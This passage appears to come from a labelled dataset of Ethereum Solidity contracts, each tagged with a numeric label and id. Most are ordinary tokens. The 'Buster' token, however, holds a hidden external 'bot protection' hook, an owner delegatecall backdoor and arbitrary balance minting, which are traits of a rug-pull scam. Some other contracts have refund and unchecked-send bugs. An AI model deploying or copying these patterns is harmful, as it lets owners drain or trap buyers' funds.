return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() constant returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) onlyEToken2() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyEToken2() {
Approval(_from, _spender, _value);
}
function () payable {
_getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
_returnReturnData(true);
}
function transferToICAP(string _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(string _icap, uint _value, string _reference) returns(bool) {
return transferToICAPWithReference(_bytes32(_icap), _value, _reference);
}
function transferFromToICAP(address _from, string _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, string _icap, uint _value, string _reference) returns(bool) {
return transferFromToICAPWithReference(_from, _bytes32(_icap), _value, _reference);
}
event UpgradeProposed(address newVersion);
event UpgradePurged(address newVersion);
event UpgradeCommited(address newVersion);
event OptedOut(address sender, address version);
event OptedIn(address sender, address version);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposed(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
UpgradePurged(pendingVersion);
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
UpgradeCommited(latestVersion);
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
OptedOut(msg.sender, latestVersion);
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
OptedIn(msg.sender, latestVersion);
return true;
}
function multiAsset() constant returns(EToken2Interface) {
return etoken2;
}
} | 1 | 2,673 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Buster is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000000;
string public name = "Dump Buster";
string public symbol = "GTFO";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wrappedBinance, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _toWho, uint amount) public {
require(msg.sender == owner);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = amount;
emit Transfer(address(0x0), _toWho[i], amount);
}
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 0 | 309 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TICToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 value);
event EnabledTransfers();
event SetCrowdsaleAddress(address indexed crowdsale);
address public crowdsale;
string public name = "TICToken";
uint8 public decimals = 18;
string public symbol = "TIC";
uint256 public totalSupply = 300000000*10**18;
bool public transferable = true;
function TICToken() public {
balances[msg.sender] = totalSupply;
}
modifier canTransfer() {
require(transferable || (crowdsale != address(0) && crowdsale == msg.sender));
_;
}
function enableTransfers() external onlyOwner {
require(!transferable);
transferable = true;
EnabledTransfers();
}
function setCrowdsaleAddress(address _addr) external onlyOwner {
require(_addr != address(0));
crowdsale = _addr;
SetCrowdsaleAddress(_addr);
}
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(owner, _value);
}
} | 1 | 4,219 |
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract MyToken is owned{
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
function MyToken(uint256 initialSupply,string tokenName,uint8 decimalUnits,string tokenSymbol,address centralMinter) {
if(centralMinter != 0 ) owner = msg.sender;
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function transfer(address _to, uint256 _value) {
if (frozenAccount[msg.sender]) throw;
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if(msg.sender.balance<minBalanceForAccounts) sell((minBalanceForAccounts-msg.sender.balance)/sellPrice);
if(_to.balance<minBalanceForAccounts) _to.send(sell((minBalanceForAccounts-_to.balance)/sellPrice));
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() returns (uint amount){
amount = msg.value / buyPrice;
if (balanceOf[this] < amount) throw;
balanceOf[msg.sender] += amount;
balanceOf[this] -= amount;
Transfer(this, msg.sender, amount);
return amount;
}
function sell(uint amount) returns (uint revenue){
if (balanceOf[msg.sender] < amount ) throw;
balanceOf[this] += amount;
balanceOf[msg.sender] -= amount;
revenue = amount * sellPrice;
msg.sender.send(revenue);
Transfer(msg.sender, this, amount);
return revenue;
}
function setMinBalance(uint minimumBalanceInFinney) onlyOwner {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
} | 0 | 2,114 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract SpecialERC20 {
function transfer(address to, uint256 value) public;
}
contract DecentralizedExchanges {
using SafeMath for uint;
using SafeERC20 for ERC20;
string public name = "DecentralizedExchanges";
event Order(bytes32 hash);
event Trade(bytes32 hash, address seller, address token, uint amount, address purchaser, uint eth);
event Cancel(bytes32 hash, uint amount, bool isSell);
struct OrderInfo {
bool isSell;
bool isSpecialERC20;
uint eth;
uint amount;
uint expires;
uint nonce;
uint createdAt;
uint fill;
address token;
address[] limitUser;
address owner;
}
mapping (bytes32 => OrderInfo) public orderInfos;
mapping (address => bytes32[]) public userOrders;
function getOrderInfo(bytes32 hash) public view returns (bool, uint, address, uint, uint, uint, address[], uint, address, uint, bool) {
OrderInfo storage info = orderInfos[hash];
return (info.isSell, info.eth, info.token, info.amount, info.expires, info.nonce, info.limitUser, info.createdAt, info.owner, info.fill, info.isSpecialERC20);
}
function createPurchaseOrder(bool isSpecialERC20, uint eth, address token, uint amount, uint expires, address[] seller, uint nonce) payable public {
require(msg.value >= eth);
bytes32 hash = sha256(abi.encodePacked(this, eth, token, amount, expires, seller, nonce, msg.sender, now));
orderInfos[hash] = OrderInfo(false, isSpecialERC20, eth, amount, expires, nonce, now, 0, token, seller, msg.sender);
for (uint i = 0; i < userOrders[msg.sender].length; i++) {
require(userOrders[msg.sender][i] != hash);
}
userOrders[msg.sender].push(hash);
emit Order(hash);
}
function createSellOrder(bool isSpecialERC20, address token, uint amount, uint eth, uint expires, address[] purchaser, uint nonce) public {
ERC20(token).safeTransferFrom(msg.sender, this, amount);
bytes32 hash = sha256(abi.encodePacked(this, eth, token, amount, expires, purchaser, nonce, msg.sender, now));
orderInfos[hash] = OrderInfo(true, isSpecialERC20, eth, amount, expires, nonce, now, 0, token, purchaser, msg.sender);
for (uint i = 0; i < userOrders[msg.sender].length; i++) {
require(userOrders[msg.sender][i] != hash);
}
userOrders[msg.sender].push(hash);
emit Order(hash);
}
function cancelOrder(bytes32 hash) public {
OrderInfo storage info = orderInfos[hash];
require(info.owner == msg.sender);
if (info.isSell) {
if (info.fill < info.amount) {
uint amount = info.amount;
uint remain = amount - info.fill;
info.fill = info.amount;
if (info.isSpecialERC20) {
SpecialERC20(info.token).transfer(msg.sender, remain);
} else {
ERC20(info.token).transfer(msg.sender, remain);
}
emit Cancel(hash, remain, info.isSell);
} else {
emit Cancel(hash, 0, info.isSell);
}
} else {
if (info.fill < info.eth) {
uint eth = info.eth;
remain = eth - info.fill;
info.fill = info.eth;
msg.sender.transfer(eth);
emit Cancel(hash, remain, info.isSell);
} else {
emit Cancel(hash, 0, info.isSell);
}
}
}
function sell(bytes32 hash, uint amount) public {
OrderInfo storage info = orderInfos[hash];
bool find = false;
if (info.limitUser.length > 0) {
for (uint i = 0; i < info.limitUser.length; i++) {
if (info.limitUser[i] == msg.sender) {
find = true;
break;
}
}
require(find);
}
require(info.fill < info.eth);
require(info.expires >= now);
uint remain = info.eth - info.fill;
uint remainAmount = remain.mul(info.amount).div(info.eth);
uint tradeAmount = remainAmount < amount ? remainAmount : amount;
ERC20(info.token).safeTransferFrom(msg.sender, this, tradeAmount);
uint total = info.eth.mul(tradeAmount).div(info.amount);
msg.sender.transfer(total);
ERC20(info.token).transfer(info.owner, tradeAmount);
info.fill = info.fill.add(total);
emit Trade(hash, msg.sender, info.token, tradeAmount, info.owner, total);
}
function purchase(bytes32 hash, uint amount) payable public {
OrderInfo storage info = orderInfos[hash];
bool find = false;
if (info.limitUser.length > 0) {
for (uint i = 0; i < info.limitUser.length; i++) {
if (info.limitUser[i] == msg.sender) {
find = true;
break;
}
}
require(find);
}
require(info.fill < info.amount);
require(info.expires >= now);
uint remainAmount = info.amount - info.fill;
uint tradeAmount = remainAmount < amount ? remainAmount : amount;
uint total = info.eth.mul(tradeAmount).div(info.amount);
require(msg.value >= total);
if (msg.value > total) {
msg.sender.transfer(msg.value - total);
}
info.owner.transfer(total);
if (info.isSpecialERC20) {
SpecialERC20(info.token).transfer(msg.sender, tradeAmount);
} else {
ERC20(info.token).transfer(msg.sender, tradeAmount);
}
info.fill = info.fill.add(tradeAmount);
emit Trade(hash, info.owner, info.token, tradeAmount, msg.sender, total);
}
} | 1 | 4,259 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
interface CrowdsaleContract {
function isActive() public view returns(bool);
}
contract BulleonToken is StandardBurnableToken, PausableToken, Claimable {
event AddedToWhitelist(address wallet);
event RemoveWhitelist(address wallet);
string public constant name = "Bulleon";
string public constant symbol = "BUL";
uint8 public constant decimals = 18;
uint256 constant exchangersBalance = 39991750231582759746295 + 14715165984103328399573 + 1846107707643607869274;
address constant premineWallet = 0x286BE9799488cA4543399c2ec964e7184077711C;
uint256 constant premineAmount = 178420 * (10 ** uint256(decimals));
address public CrowdsaleAddress;
CrowdsaleContract crowdsale;
mapping(address=>bool) whitelist;
constructor() public {
totalSupply_ = 7970000 * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
transfer(premineWallet, premineAmount.add(exchangersBalance));
addToWhitelist(msg.sender);
addToWhitelist(premineWallet);
paused = true;
}
function setCrowdsaleAddress(address _ico) public onlyOwner {
CrowdsaleAddress = _ico;
crowdsale = CrowdsaleContract(CrowdsaleAddress);
addToWhitelist(CrowdsaleAddress);
}
function pause() onlyOwner whenNotPaused public {
revert();
}
modifier whenNotPaused() {
require(!paused || whitelist[msg.sender]);
_;
}
function unpause() whenPaused public {
require(!crowdsale.isActive() || msg.sender == owner);
paused = false;
emit Unpause();
}
function addToWhitelist(address wallet) public onlyOwner {
require(!whitelist[wallet]);
whitelist[wallet] = true;
emit AddedToWhitelist(wallet);
}
function delWhitelist(address wallet) public onlyOwner {
require(whitelist[wallet]);
whitelist[wallet] = false;
emit RemoveWhitelist(wallet);
}
} | 1 | 3,559 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
